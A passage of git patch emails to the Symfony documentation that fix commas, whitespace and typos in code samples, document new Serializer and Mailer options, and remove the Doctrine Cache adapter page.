+    For example, PHP 8.0 is supported.
 * `Install Composer`_, which is used to install PHP packages.
 
 Optionally, you can also `install Symfony CLI`_. This creates a binary called

From 00583e4b6234c8dfd9bd55a6c912f90618e2ed65 Mon Sep 17 00:00:00 2001
From: sebpacz <spaczkowski2014@gmail.com>
Date: Tue, 14 Sep 2021 21:27:06 +0200
Subject: [PATCH 2484/7107] [CS] Add missing commas

---
 components/form.rst                    | 4 ++--
 components/property_access.rst         | 2 +-
 components/var_dumper/advanced.rst     | 8 ++++----
 components/var_exporter.rst            | 4 ++--
 configuration.rst                      | 4 ++--
 configuration/secrets.rst              | 2 +-
 create_framework/unit_testing.rst      | 4 ++--
 doctrine/multiple_entity_managers.rst  | 4 ++--
 mailer.rst                             | 2 +-
 mercure.rst                            | 4 ++--
 reference/configuration/framework.rst  | 6 +++---
 reference/forms/types/birthday.rst     | 2 +-
 reference/forms/types/date.rst         | 2 +-
 reference/forms/types/dateinterval.rst | 2 +-
 reference/forms/types/datetime.rst     | 2 +-
 reference/forms/types/range.rst        | 2 +-
 reference/forms/types/time.rst         | 2 +-
 reference/forms/types/week.rst         | 2 +-
 security.rst                           | 2 +-
 security/form_login_setup.rst          | 4 ++--
 security/ldap.rst                      | 4 ++--
 service_container/tags.rst             | 2 +-
 testing/http_authentication.rst        | 2 +-
 23 files changed, 36 insertions(+), 36 deletions(-)

diff --git a/components/form.rst b/components/form.rst
index 7ac59478ceb..dfbcfdfdcb4 100644
--- a/components/form.rst
+++ b/components/form.rst
@@ -686,7 +686,7 @@ option when building each field:
                 'constraints' => [
                     new NotBlank(),
                     new Type(\DateTime::class),
-                ]
+                ],
             ])
             ->getForm();
 
@@ -713,7 +713,7 @@ option when building each field:
                         'constraints' => [
                             new NotBlank(),
                             new Type(\DateTime::class),
-                        ]
+                        ],
                     ])
                     ->getForm();
                 // ...
diff --git a/components/property_access.rst b/components/property_access.rst
index 5cd5095908a..285f9d24b83 100644
--- a/components/property_access.rst
+++ b/components/property_access.rst
@@ -72,7 +72,7 @@ You can also use multi dimensional arrays::
         ],
         [
             'first_name' => 'Ryan',
-        ]
+        ],
     ];
 
     var_dump($propertyAccessor->getValue($persons, '[0][first_name]')); // 'Wouter'
diff --git a/components/var_dumper/advanced.rst b/components/var_dumper/advanced.rst
index 0f429c52012..ded04cca902 100644
--- a/components/var_dumper/advanced.rst
+++ b/components/var_dumper/advanced.rst
@@ -200,7 +200,7 @@ method::
     $dumper->dump($var, $output, [
         // 1 and 160 are the default values for these options
         'maxDepth' => 1,
-        'maxStringLength' => 160
+        'maxStringLength' => 160,
     ]);
 
 The output format of a dumper can be fine tuned by the two flags
@@ -223,7 +223,7 @@ next to its content::
 
     $varCloner = new VarCloner();
     $var = ['test'];
-    
+
     $dumper = new CliDumper();
     echo $dumper->dump($varCloner->cloneVar($var), true);
 
@@ -248,7 +248,7 @@ similar to PHP's short array notation::
 
     $varCloner = new VarCloner();
     $var = ['test'];
-    
+
     $dumper = new CliDumper();
     echo $dumper->dump($varCloner->cloneVar($var), true);
 
@@ -273,7 +273,7 @@ using the logical OR operator ``|``::
 
     $varCloner = new VarCloner();
     $var = ['test'];
-    
+
     $dumper = new CliDumper(null, null, AbstractDumper::DUMP_STRING_LENGTH | AbstractDumper::DUMP_LIGHT_ARRAY);
     echo $dumper->dump($varCloner->cloneVar($var), true);
 
diff --git a/components/var_exporter.rst b/components/var_exporter.rst
index bf8f9b1f85a..2e9ab500169 100644
--- a/components/var_exporter.rst
+++ b/components/var_exporter.rst
@@ -120,12 +120,12 @@ created by using the special ``"\0"`` property name to define their internal val
 
     // Creates an SplObjectHash where $info1 is associated to $object1, etc.
     $theObject = Instantiator::instantiate(SplObjectStorage::class, [
-        "\0" => [$object1, $info1, $object2, $info2...]
+        "\0" => [$object1, $info1, $object2, $info2...],
     ]);
 
     // creates an ArrayObject populated with $inputArray
     $theObject = Instantiator::instantiate(ArrayObject::class, [
-        "\0" => [$inputArray]
+        "\0" => [$inputArray],
     ]);
 
 .. _`OPcache`: https://www.php.net/opcache
diff --git a/configuration.rst b/configuration.rst
index ecc34b99ddc..0533334074c 100644
--- a/configuration.rst
+++ b/configuration.rst
@@ -521,7 +521,7 @@ This example shows how you could configure the database connection using an env
                 'dbal' => [
                     // by convention the env var names are always uppercase
                     'url' => '%env(resolve:DATABASE_URL)%',
-                ]
+                ],
             ]);
         };
 
@@ -888,7 +888,7 @@ whenever a service/controller defines a ``$projectDir`` argument, use this:
                     // pass this value to any $projectDir argument for any service
                     // that's created in this file (including controller arguments)
                     ->bind('$projectDir', '%kernel.project_dir%');
-            
+
             // ...
         };
 
diff --git a/configuration/secrets.rst b/configuration/secrets.rst
index 15f4d194f5b..79d0071fde3 100644
--- a/configuration/secrets.rst
+++ b/configuration/secrets.rst
@@ -145,7 +145,7 @@ If you stored a ``DATABASE_PASSWORD`` secret, you can reference it by:
         $container->loadFromExtension('doctrine', [
             'dbal' => [
                 'password' => '%env(DATABASE_PASSWORD)%',
-            ]
+            ],
         ]);
 
 The actual value will be resolved at runtime: container compilation and cache
diff --git a/create_framework/unit_testing.rst b/create_framework/unit_testing.rst
index 4db1ba57b9b..b71eea34f50 100644
--- a/create_framework/unit_testing.rst
+++ b/create_framework/unit_testing.rst
@@ -26,7 +26,7 @@ using `PHPUnit`_. Create a PHPUnit configuration file in
                 <directory suffix=".php">./src</directory>
             </include>
         </coverage>
-        
+
         <testsuites>
             <testsuite name="Test Suite">
                 <directory>./tests</directory>
@@ -167,7 +167,7 @@ Response::
             ->will($this->returnValue([
                 '_route' => 'is_leap_year/{year}',
                 'year' => '2000',
-                '_controller' => [new LeapYearController(), 'index']
+                '_controller' => [new LeapYearController(), 'index'],
             ]))
         ;
         $matcher
diff --git a/doctrine/multiple_entity_managers.rst b/doctrine/multiple_entity_managers.rst
index 88ca6bebbd2..c609ad1291b 100644
--- a/doctrine/multiple_entity_managers.rst
+++ b/doctrine/multiple_entity_managers.rst
@@ -161,7 +161,7 @@ The following configuration code shows how you can configure two entity managers
                                 'dir' => '%kernel.project_dir%/src/Entity/Main',
                                 'prefix' => 'App\Entity\Main',
                                 'alias' => 'Main',
-                            ]
+                            ],
                         ],
                     ],
                     'customer' => [
@@ -173,7 +173,7 @@ The following configuration code shows how you can configure two entity managers
                                 'dir' => '%kernel.project_dir%/src/Entity/Customer',
                                 'prefix' => 'App\Entity\Customer',
                                 'alias' => 'Customer',
-                            ]
+                            ],
                         ],
                     ],
                 ],
diff --git a/mailer.rst b/mailer.rst
index eddc04e8ef7..57c4b5f30ce 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -61,7 +61,7 @@ over SMTP by configuring the DSN in your ``.env`` file (the ``user``,
             $containerConfigurator->extension('framework', [
                 'mailer' => [
                     'dsn' => '%env(MAILER_DSN)%',
-                ]
+                ],
             ]);
         };
 
diff --git a/mercure.rst b/mercure.rst
index 00c46199d48..9ba528c532b 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -400,7 +400,7 @@ Add your JWT secret to the configuration as follow:
                     'url' => 'https://mercure-hub.example.com/.well-known/mercure',
                     'jwt' => [
                         'secret' => '!ChangeMe!',
-                    ]
+                    ],
                 ],
             ],
         ]);
@@ -498,7 +498,7 @@ Then, reference this service in the bundle configuration:
                     'url' => 'https://mercure-hub.example.com/.well-known/mercure',
                     'jwt' => [
                         'provider' => MyJwtProvider::class,
-                    ]
+                    ],
                 ],
             ],
         ]);
diff --git a/reference/configuration/framework.rst b/reference/configuration/framework.rst
index b8cd89bfe71..14b2ebf091f 100644
--- a/reference/configuration/framework.rst
+++ b/reference/configuration/framework.rst
@@ -3126,9 +3126,9 @@ recipients set in the code.
                         'recipients' => [
                             'admin@symfony.com',
                             'lead@symfony.com',
-                        ]
-                    ]
-                ]
+                        ],
+                    ],
+                ],
             ]);
         };
 
diff --git a/reference/forms/types/birthday.rst b/reference/forms/types/birthday.rst
index 6299dbf1e09..060cc0e8b40 100644
--- a/reference/forms/types/birthday.rst
+++ b/reference/forms/types/birthday.rst
@@ -95,7 +95,7 @@ values for the year, month and day fields::
     $builder->add('birthdate', BirthdayType::class, [
         'placeholder' => [
             'year' => 'Year', 'month' => 'Month', 'day' => 'Day',
-        ]
+        ],
     ]);
 
 .. include:: /reference/forms/types/options/date_format.rst.inc
diff --git a/reference/forms/types/date.rst b/reference/forms/types/date.rst
index c98b51eac15..5c5a388bbaf 100644
--- a/reference/forms/types/date.rst
+++ b/reference/forms/types/date.rst
@@ -164,7 +164,7 @@ values for the year, month and day fields::
     $builder->add('dueDate', DateType::class, [
         'placeholder' => [
             'year' => 'Year', 'month' => 'Month', 'day' => 'Day',
-        ]
+        ],
     ]);
 
 .. _reference-forms-type-date-format:
diff --git a/reference/forms/types/dateinterval.rst b/reference/forms/types/dateinterval.rst
index 84986f93c87..fefa7f054d9 100644
--- a/reference/forms/types/dateinterval.rst
+++ b/reference/forms/types/dateinterval.rst
@@ -108,7 +108,7 @@ add a "blank" entry to the top of each select box::
 Alternatively, you can specify a string to be displayed for the "blank" value::
 
     $builder->add('remindEvery', DateIntervalType::class, [
-        'placeholder' => ['years' => 'Years', 'months' => 'Months', 'days' => 'Days']
+        'placeholder' => ['years' => 'Years', 'months' => 'Months', 'days' => 'Days'],
     ]);
 
 ``hours``
diff --git a/reference/forms/types/datetime.rst b/reference/forms/types/datetime.rst
index ed31a0cae8d..4d36293894d 100644
--- a/reference/forms/types/datetime.rst
+++ b/reference/forms/types/datetime.rst
@@ -131,7 +131,7 @@ values for the year, month, day, hour, minute and second fields::
         'placeholder' => [
             'year' => 'Year', 'month' => 'Month', 'day' => 'Day',
             'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second',
-        ]
+        ],
     ]);
 
 format
diff --git a/reference/forms/types/range.rst b/reference/forms/types/range.rst
index e328a1bbe97..02817682bcb 100644
--- a/reference/forms/types/range.rst
+++ b/reference/forms/types/range.rst
@@ -45,7 +45,7 @@ Basic Usage
         'attr' => [
             'min' => 5,
             'max' => 50
-        ]
+        ],
     ]);
 
 Inherited Options
diff --git a/reference/forms/types/time.rst b/reference/forms/types/time.rst
index 2ecc657e6b1..ee457813f88 100644
--- a/reference/forms/types/time.rst
+++ b/reference/forms/types/time.rst
@@ -111,7 +111,7 @@ values for the hour, minute and second fields::
     $builder->add('startTime', 'time', [
         'placeholder' => [
             'hour' => 'Hour', 'minute' => 'Minute', 'second' => 'Second',
-        ]
+        ],
     ]);
 
 .. include:: /reference/forms/types/options/hours.rst.inc
diff --git a/reference/forms/types/week.rst b/reference/forms/types/week.rst
index 754139c9cd6..b0fcd20dccf 100644
--- a/reference/forms/types/week.rst
+++ b/reference/forms/types/week.rst
@@ -79,7 +79,7 @@ values for the year and week fields::
         'placeholder' => [
             'year' => 'Year',
             'week' => 'Week',
-        ]
+        ],
     ]);
 
 .. include:: /reference/forms/types/options/html5.rst.inc
diff --git a/security.rst b/security.rst
index abc65227c42..4ec0df76f69 100644
--- a/security.rst
+++ b/security.rst
@@ -214,7 +214,7 @@ command will pre-configure this for you:
                 User::class => [
                     'algorithm' => 'auto',
                     'cost' => 12,
-                ]
+                ],
             ],
 
             // ...
diff --git a/security/form_login_setup.rst b/security/form_login_setup.rst
index 0725ff3815d..9da33f287f6 100644
--- a/security/form_login_setup.rst
+++ b/security/form_login_setup.rst
@@ -352,7 +352,7 @@ a traditional HTML form that submits to ``/login``:
                     'guard' => [
                         'authenticators' => [
                             LoginFormAuthenticator::class,
-                        ]
+                        ],
                     ],
                     'logout' => [
                         'path' => 'app_logout',
@@ -507,7 +507,7 @@ whenever the user browses a page::
         public static function getSubscribedEvents(): array
         {
             return [
-                KernelEvents::REQUEST => ['onKernelRequest']
+                KernelEvents::REQUEST => ['onKernelRequest'],
             ];
         }
     }
diff --git a/security/ldap.rst b/security/ldap.rst
index a31a381262e..647f0ebd073 100644
--- a/security/ldap.rst
+++ b/security/ldap.rst
@@ -413,7 +413,7 @@ Configuration example for form login
                         // ...
                     ],
                 ],
-            ]
+            ],
         ]);
 
 Configuration example for HTTP Basic
@@ -533,7 +533,7 @@ Configuration example for form login and query_string
                         'search_password' => 'the-raw-password',
                     ],
                 ],
-            ]
+            ],
         ]);
 
 .. deprecated:: 4.4
diff --git a/service_container/tags.rst b/service_container/tags.rst
index a99f0286852..4269e0f0a3c 100644
--- a/service_container/tags.rst
+++ b/service_container/tags.rst
@@ -490,7 +490,7 @@ use this, update the compiler::
                 foreach ($tags as $attributes) {
                     $definition->addMethodCall('addTransport', [
                         new Reference($id),
-                        $attributes['alias']
+                        $attributes['alias'],
                     ]);
                 }
             }
diff --git a/testing/http_authentication.rst b/testing/http_authentication.rst
index ff32b875a31..cbde1d3eda3 100644
--- a/testing/http_authentication.rst
+++ b/testing/http_authentication.rst
@@ -72,7 +72,7 @@ encoders configuration to generate password hashes as fast as possible:
                     'cost' => 4, // Lowest possible value for bcrypt
                     'time_cost' => 3, // Lowest possible value for argon
                     'memory_cost' => 10, // Lowest possible value for argon
-                ]
+                ],
             ],
         ]);
 

From 034f0f6a14a854b8df3d1d5ee46e0caa42ef9472 Mon Sep 17 00:00:00 2001
From: Georgi Georgiev <vuryss@gmail.com>
Date: Thu, 16 Sep 2021 10:28:04 +0300
Subject: [PATCH 2485/7107] [Serializer] Documenting the new
 SKIP_UNINITIALIZED_VALUES option

---
 components/serializer.rst | 21 +++++++++++++++++++++
 1 file changed, 21 insertions(+)

diff --git a/components/serializer.rst b/components/serializer.rst
index 9c8b73a04a1..ac29ee47deb 100644
--- a/components/serializer.rst
+++ b/components/serializer.rst
@@ -1174,6 +1174,27 @@ to ``true``::
     $result = $normalizer->normalize($dummy, 'json', [AbstractObjectNormalizer::SKIP_NULL_VALUES => true]);
     // ['bar' => 'notNull']
 
+Skipping uninitialized properties
+---------------------------------
+
+PHP 7.4 introduced typed properties, which have a new state - ``uninitialized``.
+This is different from the default ``null`` of untyped properties.
+When you try to access it before giving it an explicit value - you get an error.
+
+To avoid serializer throwing an error when serializing or normalizing an object with
+uninitialized properties - then you can set ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` to ``true``.
+
+.. note::
+
+    Error is thrown only if you inject a ``ClassMetadataFactory`` into the normalizer.
+    Otherwise the properties are checked with reflection and uninitialized ones are skipped.
+    This option is useful when, for example, you want to serialize subset of properties by serialization groups,
+    which requires the ``ClassMetadataFactory``
+
+.. versionadded:: 5.4
+
+    The ``AbstractObjectNormalizer::SKIP_UNINITIALIZED_VALUES`` constant was introduced in Symfony 5.4.
+
 .. _component-serializer-handling-circular-references:
 
 Handling Circular References

From a3b5a134baf3e9ea19e51f1480ab56c18028ed9f Mon Sep 17 00:00:00 2001
From: Jeroen <4200784+JeroenMoonen@users.noreply.github.com>
Date: Fri, 10 Sep 2021 12:12:03 +0200
Subject: [PATCH 2486/7107] Add missing space in custom-transport.rst doc

---
 messenger/custom-transport.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger/custom-transport.rst b/messenger/custom-transport.rst
index e0fbcb3ca23..bc49b1d6d3d 100644
--- a/messenger/custom-transport.rst
+++ b/messenger/custom-transport.rst
@@ -65,7 +65,7 @@ Here is a simplified example of a database transport::
                     WHERE (delivered_at IS NULL OR delivered_at < :redeliver_timeout)
                     AND handled = FALSE'
                 )
-                ->setParameter('redeliver_timeout', new DateTimeImmutable('-5minutes'))
+                ->setParameter('redeliver_timeout', new DateTimeImmutable('-5 minutes'))
                 ->getOneOrNullResult();
 
             if (null === $row) {

From 82ef3e8879b78748f66665c3173706340a93674a Mon Sep 17 00:00:00 2001
From: Fernando Aguirre <ing.aguirrel@gmail.com>
Date: Tue, 7 Sep 2021 14:26:49 -0700
Subject: [PATCH 2487/7107] [Messenger] Update messenger.rst

---
 messenger.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/messenger.rst b/messenger.rst
index c2ece12daf9..c53540fd508 100644
--- a/messenger.rst
+++ b/messenger.rst
@@ -798,7 +798,7 @@ Forcing Retrying
 Sometimes handling a message must fail in a way that you *know* is temporary
 and must be retried. If you throw
 :class:`Symfony\\Component\\Messenger\\Exception\\RecoverableMessageHandlingException`,
-the message will always be retried.
+the message will always be retried infinitely and ``max_retries`` setting will be ignored.
 
 .. _messenger-failure-transport:
 

From 28cbc5ddaab0c9dc97af95dae6ad1df1ab1c0cec Mon Sep 17 00:00:00 2001
From: Elliot <37578863+elliotbruneel@users.noreply.github.com>
Date: Tue, 7 Sep 2021 14:06:44 +0200
Subject: [PATCH 2488/7107] Remove wrong parameter in MockHub

There is no parameter in `MockHub` to specify the hub name (`default`)

`MockHub` constructor : https://github.com/symfony/mercure/blob/main/src/MockHub.php#L30-L35

```php
    /**
     * @param (callable(Update): string) $publisher
     */
    public function __construct(
        string $url,
        TokenProviderInterface $jwtProvider,
        callable $publisher,
        TokenFactoryInterface $jwtFactory = null,
        string $publicUrl = null
    )
```
---
 mercure.rst | 2 +-
 1 file changed, 1 insertion(+), 1 deletion(-)

diff --git a/mercure.rst b/mercure.rst
index 9ba528c532b..8a70af165ce 100644
--- a/mercure.rst
+++ b/mercure.rst
@@ -576,7 +576,7 @@ You can instead make use of the `MockHub`::
     {
         public function testPublishing()
         {
-            $hub = new MockHub('default', 'https://internal/.well-known/mercure', new StaticTokenProvider('foo'), function(Update $update): string {
+            $hub = new MockHub('https://internal/.well-known/mercure', new StaticTokenProvider('foo'), function(Update $update): string {
                 // $this->assertTrue($update->isPrivate());
 
                 return 'id';

From a4046bc9862f136bd136103cc1e2580af2139acf Mon Sep 17 00:00:00 2001
From: "Alexander M. Turek" <me@derrabus.de>
Date: Thu, 9 Sep 2021 18:04:36 +0200
Subject: [PATCH 2489/7107] Document the removal of Doctrine Cache

---
 cache.rst                                     |  2 +-
 components/cache.rst                          |  7 ++--
 .../cache/adapters/doctrine_adapter.rst       | 42 -------------------
 3 files changed, 4 insertions(+), 47 deletions(-)
 delete mode 100644 components/cache/adapters/doctrine_adapter.rst

diff --git a/cache.rst b/cache.rst
index 0aebff384bc..0538e45f5cd 100644
--- a/cache.rst
+++ b/cache.rst
@@ -27,7 +27,7 @@ The following example shows a typical usage of the cache::
     // ... and to remove the cache key
     $pool->delete('my_cache_key');
 
-Symfony supports Cache Contracts, PSR-6/16 and Doctrine Cache interfaces.
+Symfony supports Cache Contracts and PSR-6/16 interfaces.
 You can read more about these at the :doc:`component documentation </components/cache>`.
 
 .. deprecated:: 5.4
diff --git a/components/cache.rst b/components/cache.rst
index 29c1f0fd42b..1dae4a3f320 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -16,9 +16,8 @@ The Cache Component
 
 .. tip::
 
-    The component also contains adapters to convert between PSR-6, PSR-16 and
-    Doctrine caches. See :doc:`/components/cache/psr6_psr16_adapters` and
-    :doc:`/components/cache/adapters/doctrine_adapter`.
+    The component also contains adapters to convert between PSR-6 and PSR-16.
+    See :doc:`/components/cache/psr6_psr16_adapters`.
 
     .. deprecated:: 5.4
 
@@ -164,7 +163,7 @@ concepts:
 **Adapter**
     It implements the actual caching mechanism to store the information in the
     filesystem, in a database, etc. The component provides several ready to use
-    adapters for common caching backends (Redis, APCu, Doctrine, PDO, etc.)
+    adapters for common caching backends (Redis, APCu, PDO, etc.)
 
 Basic Usage (PSR-6)
 -------------------
diff --git a/components/cache/adapters/doctrine_adapter.rst b/components/cache/adapters/doctrine_adapter.rst
deleted file mode 100644
index 81826446f81..00000000000
--- a/components/cache/adapters/doctrine_adapter.rst
+++ /dev/null
@@ -1,42 +0,0 @@
-.. index::
-    single: Cache Pool
-    single: Doctrine Cache
-
-.. _doctrine-adapter:
-
-Doctrine Cache Adapter
-======================
-
-.. deprecated:: 5.4
-
-    The ``DoctrineAdapter`` and ``DoctrineProvider`` classes were deprecated in Symfony 5.4
-    and it will be removed in Symfony 6.0.
-
-This adapter wraps any class extending the `Doctrine Cache`_ abstract provider, allowing
-you to use these providers in your application as if they were Symfony Cache adapters.
-
-This adapter expects a ``\Doctrine\Common\Cache\CacheProvider`` instance as its first
-parameter, and optionally a namespace and default cache lifetime as its second and
-third parameters::
-
-    use Doctrine\Common\Cache\CacheProvider;
-    use Doctrine\Common\Cache\SQLite3Cache;
-    use Symfony\Component\Cache\Adapter\DoctrineAdapter;
-
-    $provider = new SQLite3Cache(new \SQLite3(__DIR__.'/cache/data.sqlite'), 'youTableName');
-
-    $cache = new DoctrineAdapter(
-
-        // a cache provider instance
-        CacheProvider $provider,
-
-        // a string prefixed to the keys of the items stored in this cache
-        $namespace = '',
-
-        // the default lifetime (in seconds) for cache items that do not define their
-        // own lifetime, with a value 0 causing items to be stored indefinitely (i.e.
-        // until the database table is truncated or its rows are otherwise deleted)
-        $defaultLifetime = 0
-    );
-
-.. _`Doctrine Cache`: https://github.com/doctrine/cache

From 1d6510aad2f32c8e11aad497209aea31bd5b0f31 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Sep 2021 11:25:19 +0200
Subject: [PATCH 2490/7107] Remove unneeded deprecation/versionadded directives

---
 cache.rst               | 5 -----
 components/cache.rst    | 5 -----
 setup/upgrade_major.rst | 4 ----
 3 files changed, 14 deletions(-)

diff --git a/cache.rst b/cache.rst
index 0538e45f5cd..b2d48869f7a 100644
--- a/cache.rst
+++ b/cache.rst
@@ -30,11 +30,6 @@ The following example shows a typical usage of the cache::
 Symfony supports Cache Contracts and PSR-6/16 interfaces.
 You can read more about these at the :doc:`component documentation </components/cache>`.
 
-.. deprecated:: 5.4
-
-    Support for Doctrine Cache was deprecated in Symfony 5.4
-    and it will be removed in Symfony 6.0.
-
 .. _cache-configuration-with-frameworkbundle:
 
 Configuring Cache with FrameworkBundle
diff --git a/components/cache.rst b/components/cache.rst
index 1dae4a3f320..270081d2e3c 100644
--- a/components/cache.rst
+++ b/components/cache.rst
@@ -19,11 +19,6 @@ The Cache Component
     The component also contains adapters to convert between PSR-6 and PSR-16.
     See :doc:`/components/cache/psr6_psr16_adapters`.
 
-    .. deprecated:: 5.4
-
-        Support for Doctrine Cache was deprecated in Symfony 5.4
-        and it will be removed in Symfony 6.0.
-
 Installation
 ------------
 
diff --git a/setup/upgrade_major.rst b/setup/upgrade_major.rst
index b52b0ad61de..1b1dd79648a 100644
--- a/setup/upgrade_major.rst
+++ b/setup/upgrade_major.rst
@@ -198,10 +198,6 @@ included in the Symfony repository for any BC break that you need to be aware of
 Upgrading to Symfony 6: Add Native Return Types
 -----------------------------------------------
 
-.. versionadded:: 5.4
-
-    The return-type checking and fixing features were introduced in Symfony 5.4.
-
 Symfony 6 will come with native PHP return types to (almost all) methods.
 
 In PHP, if the parent has a return type declaration, any class implementing

From da0bdb497700b5e115336b3c5c6090b269d7a96c Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Sep 2021 09:07:41 -0300
Subject: [PATCH 2491/7107] Update pull_requests.rst

Adding a link to the SymfonyCasts video tutorial on contributing code.
---
 contributing/code/pull_requests.rst | 5 +++++
 1 file changed, 5 insertions(+)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index b2dc73ac06d..1c232b2220e 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -4,6 +4,9 @@ Proposing a Change
 A pull request, "PR" for short, is the best way to provide a bug fix or to
 propose enhancements to Symfony.
 
+If you prefer video tutorials instead of a wall of text, then please watch
+this comprehensive and free `Contributing Back To Symfony`_ tutorial by `SymfonyCasts.com`_. 
+
 Step 1: Check existing Issues and Pull Requests
 -----------------------------------------------
 
@@ -529,3 +532,5 @@ before merging.
 .. _`Symfony Slack`: https://symfony.com/slack-invite
 .. _`Travis-CI`: https://travis-ci.org/symfony/symfony
 .. _`Psalm phar is installed`: https://psalm.dev/docs/running_psalm/installation/
+.. _`Contributing Back To Symfony`: https://symfonycasts.com/screencast/contributing
+.. _`SymfonyCasts.com`: https://symfonycasts.com

From 9016310426ca8d7724d53e240dbae4934c909a4a Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Sep 2021 17:30:07 +0200
Subject: [PATCH 2492/7107] Minor tweak

---
 contributing/code/pull_requests.rst | 10 ++++++----
 1 file changed, 6 insertions(+), 4 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 1c232b2220e..313565919b6 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -1,12 +1,15 @@
 Proposing a Change
 ==================
 
+.. admonition:: Screencast
+    :class: screencast
+
+    Do you prefer video tutorials? Check out the `Contributing Back To Symfony`_
+    screencast series.
+
 A pull request, "PR" for short, is the best way to provide a bug fix or to
 propose enhancements to Symfony.
 
-If you prefer video tutorials instead of a wall of text, then please watch
-this comprehensive and free `Contributing Back To Symfony`_ tutorial by `SymfonyCasts.com`_. 
-
 Step 1: Check existing Issues and Pull Requests
 -----------------------------------------------
 
@@ -533,4 +536,3 @@ before merging.
 .. _`Travis-CI`: https://travis-ci.org/symfony/symfony
 .. _`Psalm phar is installed`: https://psalm.dev/docs/running_psalm/installation/
 .. _`Contributing Back To Symfony`: https://symfonycasts.com/screencast/contributing
-.. _`SymfonyCasts.com`: https://symfonycasts.com

From 222875bd3883cd13d26f4f24d7fe75724aa27506 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Sep 2021 10:28:17 -0300
Subject: [PATCH 2493/7107] Update pull_requests.rst

---
 contributing/code/pull_requests.rst | 9 +--------
 1 file changed, 1 insertion(+), 8 deletions(-)

diff --git a/contributing/code/pull_requests.rst b/contributing/code/pull_requests.rst
index 313565919b6..d49b8179b88 100644
--- a/contributing/code/pull_requests.rst
+++ b/contributing/code/pull_requests.rst
@@ -107,12 +107,6 @@ Check that the current Tests Pass
 Now that Symfony is installed, check that all unit tests pass for your
 environment as explained in the dedicated :doc:`document <tests>`.
 
-.. tip::
-
-    If tests are failing, check on `Travis-CI`_ if the same test is
-    failing there as well. In that case you do not need to be concerned
-    about the test failing locally.
-
 .. _step-2-work-on-your-patch:
 
 Step 3: Work on your Pull Request
@@ -252,7 +246,7 @@ in mind the following:
     as defined in `PSR-1`_ and `PSR-2`_.
 
     A status is posted below the pull request description with a summary
-    of any problems it detects or any `Travis-CI`_ build failures.
+    of any problems it detects or any GitHub Actions build failures.
 
 .. _prepare-your-patch-for-submission:
 
@@ -533,6 +527,5 @@ before merging.
 .. _`PSR-2`: https://www.php-fig.org/psr/psr-2/
 .. _`searching on GitHub`: https://github.com/symfony/symfony/issues?q=+is%3Aopen+
 .. _`Symfony Slack`: https://symfony.com/slack-invite
-.. _`Travis-CI`: https://travis-ci.org/symfony/symfony
 .. _`Psalm phar is installed`: https://psalm.dev/docs/running_psalm/installation/
 .. _`Contributing Back To Symfony`: https://symfonycasts.com/screencast/contributing

From c307041d67a6743f3a6d42c727cfe3af2cab54ea Mon Sep 17 00:00:00 2001
From: Alex Theobold <44616505+theoboldalex@users.noreply.github.com>
Date: Sat, 11 Sep 2021 08:12:52 +0100
Subject: [PATCH 2494/7107] typo and grammar fix

One typo fix and re-ordered wording of a sentence for correct English grammar.
---
 create_framework/http_foundation.rst | 4 ++--
 1 file changed, 2 insertions(+), 2 deletions(-)

diff --git a/create_framework/http_foundation.rst b/create_framework/http_foundation.rst
index 3c84dd25e57..14f4b00023b 100644
--- a/create_framework/http_foundation.rst
+++ b/create_framework/http_foundation.rst
@@ -11,7 +11,7 @@ top of the Symfony components is better than creating a framework from scratch.
 
     We won't talk about the traditional benefits of using a framework when
     working on big applications with more than a few developers; the Internet
-    has already plenty of good resources on that topic.
+    already has plenty of good resources on that topic.
 
 Even if the "application" we wrote in the previous chapter was simple enough,
 it suffers from a few problems::
@@ -265,7 +265,7 @@ So, the ``getClientIp()`` method works securely in all circumstances. You can
 use it in all your projects, whatever the configuration is, it will behave
 correctly and safely. That's one of the goals of using a framework. If you were
 to write a framework from scratch, you would have to think about all these
-cases by yourself. Why not using a technology that already works?
+cases by yourself. Why not use a technology that already works?
 
 .. note::
 

From fc4f38663e9ac8e213028183d254f80ddc3f5002 Mon Sep 17 00:00:00 2001
From: gnito-org <70450336+gnito-org@users.noreply.github.com>
Date: Tue, 14 Sep 2021 07:44:09 -0300
Subject: [PATCH 2495/7107] Update mailer.rst

Add Sendgrid to the list of transports that support tags and metadata.
---
 mailer.rst | 1 +
 1 file changed, 1 insertion(+)

diff --git a/mailer.rst b/mailer.rst
index 9465edd6a62..6357da2df9c 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1331,6 +1331,7 @@ The following transports currently support tags and metadata:
 * MailChimp
 * Mailgun
 * Postmark
+* Sendgrid
 * Sendinblue
 
 The following transports only support tags:

From 1503ce4d396cd04118e167cec3fcd308bf7df601 Mon Sep 17 00:00:00 2001
From: Javier Eguiluz <javier.eguiluz@gmail.com>
Date: Fri, 17 Sep 2021 17:41:46 +0200
Subject: [PATCH 2496/7107] Add the missing versionadded directive

---
 mailer.rst | 4 ++++
 1 file changed, 4 insertions(+)

diff --git a/mailer.rst b/mailer.rst
index 6357da2df9c..65370474fb9 100644
--- a/mailer.rst
+++ b/mailer.rst
@@ -1334,6 +1334,10 @@ The following transports currently support tags and metadata:
 * Sendgrid
 * Sendinblue
 
+.. versionadded:: 5.4
+
+    The tag and metadata support for Sendgrid was introduced in Symfony 5.4.
+
 The following transports only support tags:
 
 * OhMySMTP

From 1a81cdd6725577b3fd77ed6836488509904f65f2 Mon Sep 17 00:00:00 2001
